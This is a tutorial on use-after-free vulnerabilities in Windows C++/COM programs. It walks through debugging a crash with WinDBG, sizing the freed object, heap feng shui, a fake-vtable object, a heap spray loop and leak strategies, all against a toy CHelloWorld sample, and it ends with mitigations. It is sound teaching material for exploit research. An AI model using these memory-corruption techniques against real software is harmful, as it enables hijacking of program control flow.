Use-After-Free Vulnerability

Introduction

Generally speaking, use-after-free (also known as dangling pointer), is a condition when a program attempts to use a reference that points to an invalid object because it is already freed. In the real world, use-after-frees are bugs due to incorrect reference counting, which is supposed to be a common programming technique for tracking references in C/C++.

Use-after-free is considered highly exploitable, because in many cases, the attacker probably has enough time to inject an arbitrary payload into a specific region of memory, before that memory is used again. However, if this window of opportunity does not exist, then it's a denial-of-service at best.

Applications that support scripting, such as a browser, PDF reader, Flash player, etc, are more likely to have use-after-frees that are exploitable in theory, because you tend to have control of when to create an object, free it, when to use it again, also preparing for the ideal heap layout for arbitrary code execution, etc.

Sometimes you can also find use-after-free vulnerabilities on server-side applications, but normally they are much harder to exploit due to less control.

Reference Counting

Reference counting is a way to manage an object's lifetime. The idea is rather simple: every time you have a new copy of a reference for an object, you add one to a reference counter. If a reference is no longer needed, then minus one. When this count becomes zero, then the object is freed. Many Windows applications would probably use the `IUnknown` interface to do this, and use the `AddRef()` method to increment the counter, `Release()` to decrement.

An example of using reference counting:

```
void SomeFunction(Object* obj) {
    Object* newObj = obj;
    newObj->AddRef();
    newObj->SomeFunction();
    newObj->Release();
}
```

Discovering Use-After-Free

To discover use-after-free vulnerabilities, you would either audit the source code or reverse-engineer the binary, and pay attention to whether the application is correctly following the general rules of reference counting. According to Microsoft, these rules are:

- `AddRef()` must be called for every new copy of an pointer.
- `Release()` must be called for every destruction of a pointer
- In-out parameters to function: The caller must call `AddRef()` on the parameter.
- Fetching a global variable: When creating a local copy of a pinter from an existing copy of the pointer in a global variable, you must call `AddRef()` on the local copy, because another function might destory the copy oin the global variable while the local copy is still valid.
- New pointers synthesized out of thin air: A function that synthesizes a pinter using special internal knowledge rather than obtaining it from some other source must call `AddRef()` initially on the newly synthesized pointer.
- Retrieving a copy of an internally stored pointer: When a function retrives a copy of a pointer that is stored internally by the object called, that object's code must call `AddRef()` on the pointer before the function returns.

Fuzzing is also a common way to find use-after-free bugs. Usually, a test case would involve creating some object, and attempt to use and/or manipualte it, garbage collecting would also be needed to hopefully trigger that condition. For example, if we are fuzzing against a browser, you might want to create some element using `CreateElement`, and then try to access the methods, pass it to other JavaScript functions, and trigger frees such as `CollectGarbage`, `innerHTML`, `document.write()`, etc, and hopefully one of those combinations will find you a use-after-free.

Some publicly known fuzzers to consider:

- Domato
- funfuzz
- Web-browser-fuzzer
- Grinder

Debugging Use-After-Free

A very typical use-after-free crash would look like the following (in WinDBG)

```
0:000> r
eax=08332ff0 ebx=00d1c000 ecx=74beb560 edx=05740000 esi=00bbf63c edi=00bbf744
eip=00a1eff9 esp=00bbf638 ebp=00bbf744 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
ComClientExample!TestComServerSample+0x189:
00a1eff9 8b08            mov     ecx,dword ptr [eax]  ds:002b:08332ff0=????????
```

We see that the value of EAX is `0x08332ff0`, and is being dereferenced, which indicates this is a pointer. However, this pointer doesn't really take us to a valid memory location, hence the crash. Also, the `!address eax` command would tell us this is on the heap.

If we look at the instructions a little further, usually it would be this:

```
00a1eff9 8b08            mov     ecx,dword ptr [eax] ; we crash here
00a1effb 8b55e0          mov     edx,dword ptr [ebp-20h]
00a1effe 52              push    edx
00a1efff 8b411c          mov     eax,dword ptr [ecx+1Ch]
00a1f002 ffd0            call    eax
```

Notice after the dereference, the program wants to call `[ECX+1Ch]`, this indicates that the invalid memory is supposed to hold some kind of object where `ECX+1Ch` is an offset to that object's method.

Usually, the next step is to find out what caused the memory to be freed. To do this, we can use WinDBG's GFlags tool, and enable page heap and create user mode stack trace database:

```
gflags.exe /i VulnerableProgram.exe +ust +hpa
```

Next, we run the program and let it crash again at the dereference. This time, we can use the `!heap` command to find out who is responsible for the freed memory:

```
0:000> !heap -p -a eax
    address 08332ff0 found in
    _DPH_HEAP_ROOT @ 5741000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                  8252c64:          8332000             2000
    5490ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77a02fe1 ntdll!RtlDebugFreeHeap+0x0000003e
    77962745 ntdll!RtlpFreeHeap+0x000000d5
    77962312 ntdll!RtlFreeHeap+0x00000222
    5407c397 MSVCR120D!_free_base+0x00000027
[f:\dd\vctools\crt\crtw32\heap\free.c @ 50]
    5408d4ff MSVCR120D!_free_dbg_nolock+0x000004cf
[f:\dd\vctools\crt\crtw32\misc\dbgheap.c @ 1431]
    5408cffe MSVCR120D!_free_dbg+0x0000004e
[f:\dd\vctools\crt\crtw32\misc\dbgheap.c @ 1265]
    5429c1b2 mfc120ud!operator delete+0x00000012
[f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxmem.cpp @ 328]
*** WARNING: Unable to verify checksum for C:\Users\sinn3r\Documents\Visual
Studio 2013\Projects\ComServerExample\Debug\ComServerExample.dll
    53e0af0c ComServerExample!ATL::CComObject<CHelloWorld>::`scalar deleting
destructor'+0x0000003c
    53e0e9cf ComServerExample!ATL::CComObject<CHelloWorld>::Release+0x0000006f
[c:\program files (x86)\microsoft visual studio 12.0\vc\atlmfc\include\atlcom.h @
2934]
```

```
    00a1efd4 ComClientExample!TestComServerSample+0x00000164
[c:\users\sinn3r\documents\visual studio
2013\projects\comclientexample\comclientexample\comclientexample.cpp @ 59]
    00a16983 ComClientExample!wmain+0x000000a3 [c:\users\sinn3r\documents\visual
studio 2013\projects\comclientexample\comclientexample\comclientexample.cpp @
101]
    00a1c6a9 ComClientExample!__tmainCRTStartup+0x00000199
[f:\dd\vctools\crt\crtw32\dllstuff\crtexe.c @ 623]
    00a1c89d ComClientExample!wmainCRTStartup+0x0000000d
[f:\dd\vctools\crt\crtw32\dllstuff\crtexe.c @ 466]
    75228484 KERNEL32!BaseThreadInitThunk+0x00000024
    7798305a ntdll!__RtlUserThreadStart+0x0000002f
    7798302a ntdll!_RtlUserThreadStart+0x0000001b
```

So the most key information of the above backtrace is this line:

```
ComServerExample!ATL::CComObject<CHelloWorld>::Release
```

This tells us that the crash we are looking at is due to a `CHelloWorld` object getting freed, and then some other code is still trying to use that again. At this point, we have enough explanation for a use-after-free.

Remember that in reference counting, an object is only freed when that reference count becomes zero. So to fix this type of problem, the program could add a `IHelloWorldObject->AddRef()` before the `Release()`, then it would keep the object alive.

Exploiting Use-After-Free

So the whole point of exploiting a use-after-free is being able to keep that crash alive. Since the object is gone due to the referenece count being zero, we need to supply a fake one in order to keep that crash alive.

To acheive this, we can take advantage of the fact that the operating system would tend to fill spaces (or holes) in memory, this means we could potentially create a memory block of the same object size, and then have something at offset `[ECX+1Ch]` to keep the crash alive. In other words, we want to create a fake object that mimics the `CHelloWorld` object.

Finidng the Object Size

To find the size of `CHelloWorld`, typically there are two ways: either we can find the `new` operator responsible for `CHelloWorld`, or we find it at run-time.

In our previous backtrace, we understand the `CHelloWorld` comes from the `ComServerExample` component, so that's where we have to look. The quickest way for us to locate the `new` operator statically is by looking at the import table of `ComServerExample`:

```
Address Ordinal Name  Library
000000001004943C  1640  operator new(uint)  mfc120ud
0000000010049464  267 operator new[](uint)  mfc120ud
0000000010049514  1647  CObject::operator new(uint,char const *,int)  mfc120ud
```

And then by cross-referencing, we can tell what functions need `new`:

```
Direction Type  Address Text
Down  p
ATL::CComCreator<ATL::CComObjectCached<ATL::CComClassFactory>>::CreateInstance(vo
id *,_GUID const &,void * *)+A7  call    j_??2@YAPAXI@Z; operator new(uint)
Down  p std::_Allocate<char>(uint,char *)+37  call    j_??2@YAPAXI@Z; operator
new(uint)
Down  p std::_Allocate<std::_Container_proxy>(uint,std::_Container_proxy *)+3D
call    j_??2@YAPAXI@Z; operator new(uint)
Down  p ATL::AtlModuleAddTermFunc(ATL::_ATL_MODULE70 *,void (*)(ulong),ulong)+37
call    j_??2@YAPAXI@Z; operator new(uint)
Down  p ATL::CComCreator<ATL::CComAggObject<CHelloWorld>>::CreateInstance(void
*,_GUID const &,void * *)+A7 call    j_??2@YAPAXI@Z; operator new(uint)
Down  p ATL::CComCreator<ATL::CComObject<CHelloWorld>>::CreateInstance(void
*,_GUID const &,void * *)+A7  call    j_??2@YAPAXI@Z; operator new(uint)
```

Since we are looking for `CHelloWorld`, then the last one is what we want:

```
Down    p   ATL::CComCreator<ATL::CComObject<CHelloWorld>>::CreateInstance(void
*,_GUID const &,void * *)+A7    call    j_??2@YAPAXI@Z; operator new(uint)
```

`CreateInstance` pretty much implies its purpose is to create a new object for us, in this case for `CHelloWorld`. In it, we can tell how much space is given by looking at the argument of `new`:

```
push    8               ; unsigned int
call    j_??2@YAPAXI@Z  ; operator new(uint)
```

8 bytes is requested for our `CHelloWorld` object. However, sometimes the actual size is different at run-time, so usually the best way to find the object size is WinDBG.

Since we know when the object was freed by `ComServerExample!ATL::CComObject<CHelloWorld>::Release`, we can add a breakpoint there and inspect the memory block. When this breakpoint hits, we can see that the `Release()` method actually needs one argument (see `push edx`), which is different than what MSDN documents:

```
00a1efcb 8b55e0          mov     edx,dword ptr [ebp-20h]
00a1efce 52              push    edx
00a1efcf 8b4108          mov     eax,dword ptr [ecx+8]
00a1efd2 ffd0            call    eax {ComServerExample!ILT+1805(?Release?
$CComObjectVCHelloWorldATLUAGKXZ) (53df2712)}
```

The first argument basically tells `Release()` what to free. By inspecting this with `!heap -p -a edx`, we learn where the allocation occured, and how big:

```
0:000> !heap -p -a edx
    address 0802eff0 found in
    _DPH_HEAP_ROOT @ 3401000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -
VirtAddr         VirtSize)
                                7f52ccc:          802efd0               2c -
802e000             2000
    5490abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    77a027ab ntdll!RtlDebugAllocateHeap+0x00000039
    779658e9 ntdll!RtlpAllocateHeap+0x000000f9
    779649c9 ntdll!RtlpAllocateHeapInternal+0x00000179
    7796483e ntdll!RtlAllocateHeap+0x0000003e
    5407c6e1 MSVCR120D!_heap_alloc_base+0x00000051
[f:\dd\vctools\crt\crtw32\heap\malloc.c @ 58]
    5408d72f MSVCR120D!_heap_alloc_dbg_impl+0x000001ff
[f:\dd\vctools\crt\crtw32\misc\dbgheap.c @ 431]
    5408dbcd MSVCR120D!_nh_malloc_dbg_impl+0x0000001d
[f:\dd\vctools\crt\crtw32\misc\dbgheap.c @ 239]
    5408db7a MSVCR120D!_nh_malloc_dbg+0x0000002a
[f:\dd\vctools\crt\crtw32\misc\dbgheap.c @ 302]
    5408d90f MSVCR120D!_malloc_dbg+0x0000001f
[f:\dd\vctools\crt\crtw32\misc\dbgheap.c @ 160]
    5429bff6 mfc120ud!operator new+0x00000036
[f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxmem.cpp @ 302]
    53e0befc ComServerExample!ATL::CComCreator<ATL::CComObject<CHelloWorld>
>::CreateInstance+0x000000ac [c:\program files (x86)\microsoft visual studio
12.0\vc\atlmfc\include\atlcom.h @ 2000]
    53e07cd9
ComServerExample!ATL::CComCreator2<ATL::CComCreator<ATL::CComObject<CHelloWorld>
>,ATL::CComCreator<ATL::CComAggObject<CHelloWorld> > >::CreateInstance+0x00000069
[c:\program files (x86)\microsoft visual studio 12.0\vc\atlmfc\include\atlcom.h @
```

```
2096]
    53e0c213 ComServerExample!ATL::CComClassFactory::CreateInstance+0x000000d3
[c:\program files (x86)\microsoft visual studio 12.0\vc\atlmfc\include\atlcom.h @
3738]
    00a1ef19 ComClientExample!TestComServerSample+0x000000a9
[c:\users\sinn3r\documents\visual studio
2013\projects\comclientexample\comclientexample\comclientexample.cpp @ 42]
    00a16983 ComClientExample!wmain+0x000000a3 [c:\users\sinn3r\documents\visual
studio 2013\projects\comclientexample\comclientexample\comclientexample.cpp @ 101]
    00a1c6a9 ComClientExample!__tmainCRTStartup+0x00000199
[f:\dd\vctools\crt\crtw32\dllstuff\crtexe.c @ 623]
    00a1c89d ComClientExample!wmainCRTStartup+0x0000000d
[f:\dd\vctools\crt\crtw32\dllstuff\crtexe.c @ 466]
    75228484 KERNEL32!BaseThreadInitThunk+0x00000024
    7798305a ntdll!__RtlUserThreadStart+0x0000002f
    7798302a ntdll!_RtlUserThreadStart+0x0000001b
```

As you can see, the actual size is 0x2c, not 8 like we previously saw. It is important to get this information right so that when this object is freed, we can correctly fill it up again with our fake object. There is also a manual way to verify this. By exaiming EDX a little further, we learned that we are dealing with a `CHelloWorld` vftable:

```
0:000> ln poi(edx)
Browse module
Set bu breakpoint

(53e1e1d0)   ComServerExample!ATL::CComObject<CHelloWorld>::`vftable'    |
(53e1e200)   ComServerExample!ATL::CComContainedObject<CHelloWorld>::`vftable'
```

And this vftable is mapped with the following functions:

```
0:000> dds poi(edx)
53e1e1d0  53df2e6f ComServerExample!ILT+3690(?QueryInterface?
$CComObjectVCHelloWorldATLUAGJABU_GUIDPAPAXZ)
53e1e1d4  53df2d7a ComServerExample!ILT+3445(?AddRef?
$CComObjectVCHelloWorldATLUAGKXZ)
53e1e1d8  53df2712 ComServerExample!ILT+1805(?Release?
$CComObjectVCHelloWorldATLUAGKXZ)
53e1e1dc  53df2226 ComServerExample!ILT+545(?GetTypeInfoCount?
$IDispatchImplUIHelloWorld$1?IID_IHelloWorld
53e1e1e0  53df2dd9 ComServerExample!ILT+3540(?GetTypeInfo?
$IDispatchImplUIHelloWorld$1?IID_IHelloWorld
53e1e1e4  53df2091 ComServerExample!ILT+140(?GetIDsOfNames?
$IDispatchImplUIHelloWorld$1?IID_IHelloWorld
53e1e1e8  53df2744 ComServerExample!ILT+1855(?Invoke?$IDispatchImplUIHelloWorld$1?
IID_IHelloWorld
53e1e1ec  53df28ac ComServerExample!ILT+2215(?PrintSomethingCHelloWorldUAGJPADZ)
53e1e1f0  53df2384 ComServerExample!ILT+895(??_E?
$CComObjectVCHelloWorldATLUAEPAXIZ)
53e1e1f4  00000000
53e1e1f8  00000000
```

If you count the number of entries you have in this table, which is 11, each one is a pointer so that requires 4 bytes. 11 x 4 = 44, and 44 in hexadecimal is 0x2C. So yup, that's the correct object size.

Heap Feng Shui

Note: Starting from this point, you should turn off GFlags, otherwise you will not get the correct layout needed to gain control of the crash.

As previsouly mentioned, when the operating system allocates and frees heap blocks, it tends to refill the holes. What does that mean, really? Let's say we have a C program like this:

```
HANDLE hProcHeap = GetProcessHeap();
LPVOID h1 = HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x2C);
LPVOID h2 = HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x2C);
LPVOID h3 = HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x2C);
LPVOID h4 = HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x2C);
LPVOID h5 = HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x2C);
```

When there is a lot of heap allocations of the same size, the operating system would tend to put them next to each other in memory, like this:

Block 1	Block 2	Block 3	Block 4	Block 5
0x2C	0x2C	0x2C	0x2C	0x2C

If we free one of the blocks, let's say Block 3, then the memory would look like this:

Block 1	Block 2	Empty	Block 4	Block 5
0x2C	0x2C		0x2C	0x2C

At this point, the freed block is considerd as a "hole" of this memory layout, so that's where the term came from. Now, if we try to allocate the same size again, we fill that hole:

Block 1	Block 2	New Block	Block 4	Block 5
0x2C	0x2C	0x2C	0x2C	0x2C

If there is a reference to where the new block is, then it would give us a chance to get arbitrary code exectuion. If you recall, our crash is trying to call some function at offset 0x1C, which is the 8th pointer in our `CHelloWorld` vftable. Since the 8th pointer is the `PrintSomething()` function, we have to create a fake object that hijcks this function.

Creating a Fake Object

Since we know what the `CHelloWorld` vftable structure looks like, we can mimic the same thing. In some applications, you have take advantage of an array of vector to create that list of pointers, for example:

```
// The new operator means we are putting this on the heap
int* fakeObj = new int[2];
int[0] = 0x0c0c0c0c; // Fake pointer
int[1] = 0x0c0c0c0c; // Fake pointer
```

However, before you do that, you should really spend some time researching on how an array (or vector) is created in memory. For example, in C++, it would look like since there are only two pointers, the size would be 0x08, right? No, turns out it's 0x2C under WinDBG.

For demonstration purposes, let's use a string and put it on the heap to mimic our 0x2C-byte object:

```
// This mimics the CHelloWorld vftable
LPVOID MakeFakeObject() {
    HANDLE hProcHeap = GetProcessHeap();
    unsigned char buf[] =
        "\x28\x43\x42\x41"  // Fake pointer to QueryInterface()
```

```
        "\x28\x43\x42\x41"  // Fake pointer to AddRef()
        "\x28\x43\x42\x41"  // Fake pointer to Release()
        "\x28\x43\x42\x41"  // Fake pointer to GetTypeInfoCount()
        "\x28\x43\x42\x41"  // Fake pointer to GetTypeInfo()
        "\x28\x43\x42\x41"  // Fake pointer to GetIDsOfNames()
        "\x28\x43\x42\x41"  // Fake pointer to Invoke()
        "\x28\x43\x42\x41"  // Fake pointer to PrintSomething()
        "\x28\x43\x42\x41"  // Fake pointer to _E
        "\x28\x43\x42\x41"  // Fake pointer for pointer padding
        "\x28\x43\x42\x41"; // Fake pointer for pointer padding
    LPVOID fakeObj = HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x2c);
    memcpy(fakeObj, buf, 0x2c);
    return fakeObj;
}
```

If we run the above code after the `Release()`, but before the invalid reference is used again, we may get a chance to gain control of that code:

```
0:000> r
eax=000dd558 ebx=0022d000 ecx=41424328 edx=000dd558 esi=0056f6d0 edi=0056f7f0
eip=01385dc1 esp=0056f6c8 ebp=0056f7f0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
ComClientExample!TestComServerSample+0x1d1:
01385dc1 8b411c          mov     eax,dword ptr [ecx+1Ch] ds:002b:41424344=????????
```

Sometimes, it does require a little spraying to get right. The important thing is, as long as you still have that window of opportunity, you will manage to hit that empty hole.

Heap Spraying

Heap spraying is an exploitation technique that takes advantage of large heap allocations in order to make the operating system create an address pattern, which would allow us to put data at a more predictable place in memory. For example, you can target your spray to land data at an address such as 0x0c0c0c0c, that way when you want to redirect the crash to 0x0c0c0c0c, your data will be there.

For previous Windows systems such as Windows 7 or before, heap spraying was much more effective. But on Windows 10, the allocations would need to be much bigger to have a similar effect.

Cod example of a heap spray routine:

```
#define BLOCKSIZE 0x1000000/4 - 0x100

void CreatePayload(HANDLE hProcHeap) {
    LPVOID h = HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, BLOCKSIZE);
    memset(h, 0x41, BLOCKSIZE-1);
```

```
}

int main() {
    HANDLE hProcHeap = GetProcessHeap();
    for (int i = 0; i < 100; i++) {
        CreatePayload(hProcHeap);
    }
    system("PAUSE");
    return 0;
}
```

To debug heap spraying, usually you would begin with this WinDBG command to find what sizes are available to look up:

```
0:001> !heap -stat -h

Allocations statistics for
 heap @ 01230000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    3fff00 64 - 18ff9c00  (99.99)
    2cc2 1 - 2cc2  (0.00)
    27be 1 - 27be  (0.00)
    800 2 - 1000  (0.00)
    670 1 - 670  (0.00)
    d0 6 - 4e0  (0.00)
    440 1 - 440  (0.00)
    220 2 - 440  (0.00)
    400 1 - 400  (0.00)
    200 2 - 400  (0.00)
    3bc 1 - 3bc  (0.00)
    306 1 - 306  (0.00)
    a8 4 - 2a0  (0.00)
    120 2 - 240  (0.00)
    208 1 - 208  (0.00)
    181 1 - 181  (0.00)
    12e 1 - 12e  (0.00)
    128 1 - 128  (0.00)
    80 2 - 100  (0.00)
    fc 1 - fc  (0.00)
```

It looks like there are a lot of blocks for size 0x3fff00, we can list all these with:

```
!heap -flt s 0x3fff00
```

If the allocations are big enough, WinDBG should tell you they are "busy VirtualAlloc"s:

```
171f3018 80000 0000  [00]   171f3020    3fff00 - (busy VirtualAlloc)
17602018 80000 0000  [00]   17602020    3fff00 - (busy VirtualAlloc)
17a17018 80000 0000  [00]   17a17020    3fff00 - (busy VirtualAlloc)
17e2d018 80000 0000  [00]   17e2d020    3fff00 - (busy VirtualAlloc)
18235018 80000 0000  [00]   18235020    3fff00 - (busy VirtualAlloc)
18646018 80000 0000  [00]   18646020    3fff00 - (busy VirtualAlloc)
18a5f018 80000 0000  [00]   18a5f020    3fff00 - (busy VirtualAlloc)
18e6d018 80000 0000  [00]   18e6d020    3fff00 - (busy VirtualAlloc)
```

And hopefully, you can always find data at a predicable place:

```
0:001> dd 0c0c0c0c
0c0c0c0c  41414141 41414141 41414141 41414141
0c0c0c1c  41414141 41414141 41414141 41414141
0c0c0c2c  41414141 41414141 41414141 41414141
0c0c0c3c  41414141 41414141 41414141 41414141
0c0c0c4c  41414141 41414141 41414141 41414141
0c0c0c5c  41414141 41414141 41414141 41414141
0c0c0c6c  41414141 41414141 41414141 41414141
0c0c0c7c  41414141 41414141 41414141 41414141
```

Note that as Windows improves, heap spraying becomes harder and harder to use. Therefore sometimes, exploit developers might try to avoid heap spraying completely, and try to leak the memory addresses instead, and hopefully that can leak an object that we control, which points to our payload.

Strategies for Information Leaks

Thanks to ASLR an DEP (see below), leaking memory information is becoming a valuable skill to have nowadays for exploit developers. The problem is that when ASLR and DEP are enabled, it is much harder to the exploit to hardcode anything. For example, you no longer can grab a `JMP ESP` from ntdll.dll because the addresses always change. Instead, you might want to consider finding NTDLL's base address in memory, and then find gadgets from there, so this is where the info leak technique comes in.

For use-after-frees, here are some generic techniques to leak something in memory:

UAF with Uninitialized Variable

Applicable once you have the pointer to your fake object. Look for things like:

```
push ecx
call module!Object::NonVirtualFunction
```

Where ECX is the object pointer to stack. The whole point of picking this type of scenario is to avoid crashing due to calling a virtual function, that way there might be more interesting things that could happen later on.

UAF with Controlled Variable to READ

Try to read some value from a controlled place in memory, for example:

```
class SomeClass {
  private:
    void* ptr; // attacker could control this once the free chunk is controlled

  public:
    DWORD Func() {
        return *(DWORD *) ptr;
    }
};
```

This technique is more applicable against applications that support scripting.

UAF with Controlled Variable to WRITE

Ideally, try to write an arbitrary value to a memory that you have control of, and then read it.

An example of setting this up is, let's say we have an array of one element like this:

```
int* arrayObject = new int[1];
arrayObject[0] = 0x41424344; // Let's stay this is our payload
```

Let's say we want to find the address of this array using an info leak, we could put it next to a string like this layout:

```
| 41 41 41 41 00 | Pointer to array |
```

If we have a use-after-free that allows to write anywhere, we could modify the null byte like this:

```
| 41 41 41 41 41 | Pointer to array |
```

That way, when we want to read the string again, we can end up reading longer than 4 bytes, because the null-byte terminator is gone, and then get the pointer to the array.

Other things you can overwrite include:

- The string length from a string block.
- A variant type of an array attribute, which basically causes a type confusion (Example: Object being modified to as String)
- Etc

Mitigations

vTable Guards

The purpose of having a vTable guard is because in order to exploit a lost object, the attacker has to replace it with a fake one. So the idea is that, if we can place a special value at the end of the real vtable, like this:

```
 ------------------------
 | SomeObj::`vftable`   |
 | Virtual Method    1 |
 | Virtual Method    2 |
 | Virtual Method    3 |
 | Virtual Method    4 |
 |   ..............    |
 |       _vtguard      |
 ------------------------
```

When there is some code that needs to use it, the special value should be checked. If the special value is invalid, then the object is treated as corrupt. Basically, like this code:

```
If (vftable[vtguard_vte] != vtguard) {
    TerminateProcess();
}
```

However, note that not all vTables are guarded, you just have to find that low-hanging fruit.

Address Space Layout Randomization (ASLR)

The purpose of having ASLR is to prevent multiple exploitation techniques. When the address layout is randomized all the time, it is much more difficult for the attacker to hardcode anything. For example, a RETN address for a buffer overflow.

To defeat ASLR alone, you could look for components don't support it (except that most should nowadays), or you find a way to leak memory addresses from the target program. Sometimes, some researchs do discover some regions in memory aren't actually randomized, such as shared memory, we could use something like that too if left unpatched.

Data Execution Prevention

Data Execution Prevention marks some memories as non-executable. This mitigtaion works best with ASLR.

To defeat DEP, Return-Oriented Programming (ROP) would be invovled.